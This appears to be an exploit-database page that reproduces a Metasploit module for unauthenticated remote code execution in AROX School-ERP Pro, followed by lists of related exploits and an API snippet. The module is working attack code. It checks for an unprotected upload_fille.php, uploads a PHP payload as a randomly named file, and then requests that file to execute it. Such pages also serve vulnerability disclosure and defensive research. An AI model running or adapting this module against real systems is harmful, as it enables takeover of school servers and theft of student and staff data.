Menu

Search for hundreds of thousands of exploits

"AROX School-ERP Pro - Unauthenticated Remote Command Execution (Metasploit)"

Author

AkkuS

Platform

php

Release date

2019-06-17

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient

  def initialize(info = {})
    super(update_info(info,
      'Name' => "AROX School-ERP Pro Unauthenticated Remote Code Execution",
      'Description' => %q(
        This module exploits a command execution vulnerability in AROX School-ERP.
        "import_stud.php" and "upload_fille.php" do not have session control. 
        Session start/check functions in Line 8,9,10 are disabled with slashes.
        Therefore an unathenticated user can execute the command on the system.
      ),
      'License' => MSF_LICENSE,
      'Author' =>
        [
          'AkkuS <Özkan Mustafa Akkuş>', # Discovery & PoC & Metasploit module
        ],
      'References' =>
        [
          ['URL', 'http://www.pentest.com.tr/exploits/AROX-School-ERP-Pro-Unauthenticated-RCE-Metasploit.html'],
          ['URL', 'https://sourceforge.net/projects/school-erp-ultimate/'] # Download
        ],
      'Platform' => 'php',
      'Arch' => ARCH_PHP,
      'Targets' => [['Automatic', {}]],
      'Privileged' => false,
      'DisclosureDate' => "Jun 17 2019",
      'DefaultTarget' => 0))

    register_options(
      [
        OptString.new('TARGETURI', [true, "Base ERP directory path", '/'])
      ]
    )
  end

  def exec(shell)
    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_data", "#{shell}") # shell url
    })
  end

  def upload_shell(check)

    fname = Rex::Text.rand_text_alpha_lower(8) + ".php"
    @shell = "#{fname}"
    pdata = Rex::MIME::Message.new
    pdata.add_part("" + payload.encoded, 'application/octet-stream', nil, "form-data; name=\"txtdocname\"; filename=\"#{fname}\"")
    pdata.add_part('Submit', nil, nil, 'form-data; name="btnsubmit"')
    data = pdata.to_s

    res = send_request_cgi({
      'method' => 'POST',
      'data'  => data,
      'agent' => 'Mozilla',
      'ctype' => "multipart/form-data; boundary=#{pdata.bound}",
      'uri' => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_fille.php")
    })

    if res && res.code == 200 && res.body =~ /Successfully/
      print_status("Trying to upload #{fname}")
      return true
    else
      fail_with(Failure::NoAccess, 'Error occurred during uploading!')
      return false
    end
  end

  def exploit
    unless Exploit::CheckCode::Vulnerable == check
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable.')
    end

    if upload_shell(true)
      print_good("Upload successfully.")
      exec(@shell)
    end
  end

  def check

    res = send_request_cgi({
      'method'   => 'GET',
      'uri'      => normalize_uri(target_uri.path, "greatbritain", "greatbritain", "upload_fille.php")
    })

    unless res
      vprint_error 'Connection failed'
      return CheckCode::Unknown
    end

    if res && res.code == 200 && res.body =~ /upload_fille.php/
      return Exploit::CheckCode::Vulnerable
    end
    return Exploit::CheckCode::Safe
  end
end
Release Date Title Type Platform Author
2019-09-18 "Hospital-Management 1.26 - 'fname' SQL Injection" webapps php cakes
2019-09-16 "CollegeManagementSystem-CMS 1.3 - 'batch' SQL Injection" webapps php cakes
2019-09-14 "College-Management-System 1.2 - Authentication Bypass" webapps php cakes
2019-09-14 "Ticket-Booking 1.4 - Authentication Bypass" webapps php cakes
2019-09-13 "LimeSurvey 3.17.13 - Cross-Site Scripting" webapps php "SEC Consult"
2019-09-13 "phpMyAdmin 4.9.0.1 - Cross-Site Request Forgery" webapps php "Manuel García Cárdenas"
2019-09-13 "Dolibarr ERP-CRM 10.0.1 - 'User-Agent' Cross-Site Scripting" webapps php "Metin Yunus Kandemir"
2019-09-10 "WordPress Plugin Photo Gallery 1.5.34 - Cross-Site Scripting (2)" webapps php MTK
2019-09-10 "WordPress Plugin Photo Gallery 1.5.34 - Cross-Site Scripting" webapps php MTK
2019-09-10 "WordPress Plugin Photo Gallery 1.5.34 - SQL Injection" webapps php MTK
2019-09-10 "October CMS - Upload Protection Bypass Code Execution (Metasploit)" remote php Metasploit
2019-09-09 "Dolibarr ERP-CRM 10.0.1 - SQL Injection" webapps php "Metin Yunus Kandemir"
2019-09-09 "WordPress Plugin Sell Downloads 1.0.86 - Cross-Site Scripting" webapps php "Mr Winst0n"
2019-09-09 "Online Appointment - SQL Injection" webapps php "mohammad zaheri"
2019-09-09 "Dolibarr ERP-CRM 10.0.1 - 'elemid' SQL Injection" webapps php "Metin Yunus Kandemir"
2019-09-09 "WordPress 5.2.3 - Cross-Site Host Modification" webapps php "Todor Donev"
2019-09-06 "Inventory Webapp - 'itemquery' SQL injection" webapps php "mohammad zaheri"
2019-09-04 "WordPress Plugin Download Manager 2.9.93 - Cross-Site Scripting" webapps php MgThuraMoeMyint
2019-09-03 "FileThingie 2.5.7 - Arbitrary File Upload" webapps php cakes
2019-09-02 "Craft CMS 2.7.9/3.2.5 - Information Disclosure" webapps php "Mohammed Abdul Raheem"
2019-09-02 "Wordpress Plugin Event Tickets 4.10.7.1 - CSV Injection" webapps php MTK
2019-09-02 "Opencart 3.x - Cross-Site Scripting" webapps php "Nipun Somani"
2019-08-30 "WordPress Plugin WooCommerce Product Feed 2.2.18 - Cross-Site Scripting" webapps php "Damian Ebelties"
2019-08-30 "YouPHPTube 7.4 - Remote Code Execution" webapps php "Damian Ebelties"
2019-08-30 "DomainMod 4.13 - Cross-Site Scripting" webapps php "Damian Ebelties"
2019-08-30 "Sentrifugo 3.2 - Persistent Cross-Site Scripting" webapps php creosote
2019-08-30 "Sentrifugo 3.2 - File Upload Restriction Bypass" webapps php creosote
2019-08-29 "PilusCart 1.4.1 - Local File Disclosure" webapps php "Damian Ebelties"
2019-08-29 "Jobberbase 2.0 - 'subscribe' SQL Injection" webapps php "Damian Ebelties"
2018-10-31 "WordPress Plugin GoURL.io < 1.4.14 - File Upload" webapps php "Pouya Darabi"
Release Date Title Type Platform Author
2019-08-12 "Webmin 1.920 - Unauthenticated Remote Code Execution (Metasploit)" remote linux AkkuS
2019-08-12 "ManageEngine OpManager 12.4x - Unauthenticated Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "ManageEngine Application Manager 14.2 - Privilege Escalation / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-08-12 "ManageEngine OpManager 12.4x - Privilege Escalation / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-07-12 "Sahi Pro 8.0.0 - Remote Command Execution" webapps java AkkuS
2019-06-17 "AROX School-ERP Pro - Unauthenticated Remote Command Execution (Metasploit)" remote php AkkuS
2019-06-11 "Webmin 1.910 - 'Package Updates' Remote Command Execution (Metasploit)" remote linux AkkuS
2019-05-14 "PHP-Fusion 9.03.00 - 'Edit Profile' Remote Code Execution (Metasploit)" remote php AkkuS
2019-04-30 "Moodle 3.6.3 - 'Install Plugin' Remote Command Execution (Metasploit)" remote php AkkuS
2019-04-25 "osTicket 1.11 - Cross-Site Scripting / Local File Inclusion" webapps php AkkuS
2019-04-22 "ManageEngine Applications Manager 14.0 - Authentication Bypass / Remote Command Execution (Metasploit)" remote multiple AkkuS
2019-04-18 "ManageEngine Applications Manager 11.0 < 14.0 - SQL Injection / Remote Code Execution (Metasploit)" remote windows AkkuS
2019-04-15 "CuteNews 2.1.2 - 'avatar' Remote Code Execution (Metasploit)" remote php AkkuS
2019-04-12 "ATutor < 2.2.4 - 'file_manager' Remote Code Execution (Metasploit)" webapps php AkkuS
2019-04-03 "TeemIp IPAM < 2.4.0 - 'new_config' Command Injection (Metasploit)" remote php AkkuS
2019-03-11 "OpenKM 6.3.2 < 6.3.7 - Remote Command Execution (Metasploit)" webapps jsp AkkuS
2019-03-11 "Liferay CE Portal < 7.1.2 ga3 - Remote Command Execution (Metasploit)" webapps multiple AkkuS
2019-03-07 "QNAP TS-431 QTS < 4.2.2 - Remote Command Execution (Metasploit)" remote hardware AkkuS
2019-03-04 "Booked Scheduler 2.7.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-02-28 "Feng Office 3.7.0.5 - Remote Command Execution (Metasploit)" webapps php AkkuS
2019-02-28 "Usermin 1.750 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-02-12 "Jenkins 2.150.2 - Remote Command Execution (Metasploit)" webapps linux AkkuS
2019-01-24 "SirsiDynix e-Library 3.5.x - Cross-Site Scripting" webapps cgi AkkuS
2019-01-18 "Webmin 1.900 - Remote Command Execution (Metasploit)" remote cgi AkkuS
2019-01-10 "eBrigade ERP 4.5 - Arbitrary File Download" webapps php AkkuS
2019-01-02 "Vtiger CRM 7.1.0 - Remote Code Execution" webapps php AkkuS
2018-12-19 "Rukovoditel Project Management CRM 2.3.1 - Remote Code Execution (Metasploit)" webapps php AkkuS
2018-12-09 "i-doit CMDB 1.11.2 - Remote Code Execution" webapps php AkkuS
2018-12-04 "Dolibarr ERP/CRM 8.0.3 - Cross-Site Scripting" webapps php AkkuS
2018-12-03 "Fleetco Fleet Maintenance Management 1.2 - Remote Code Execution" webapps php AkkuS
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/46999/?format=json')
                        {"url": "https://www.nmmapper.com/api/exploitdetails/46999/?format=json", "download_file": "https://www.nmmapper.com/st/exploitdetails/46999/41410/arox-school-erp-pro-unauthenticated-remote-command-execution-metasploit/download/", "exploit_id": "46999", "exploit_description": "\"AROX School-ERP Pro - Unauthenticated Remote Command Execution (Metasploit)\"", "exploit_date": "2019-06-17", "exploit_author": "AkkuS", "exploit_type": "remote", "exploit_platform": "php", "exploit_port": null}
                    

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Wig is a web application information gathering tool, which can identify numerous Content Management Systems and other administrative applications including basic vulnerability identification.

Browse exploit APIBrowse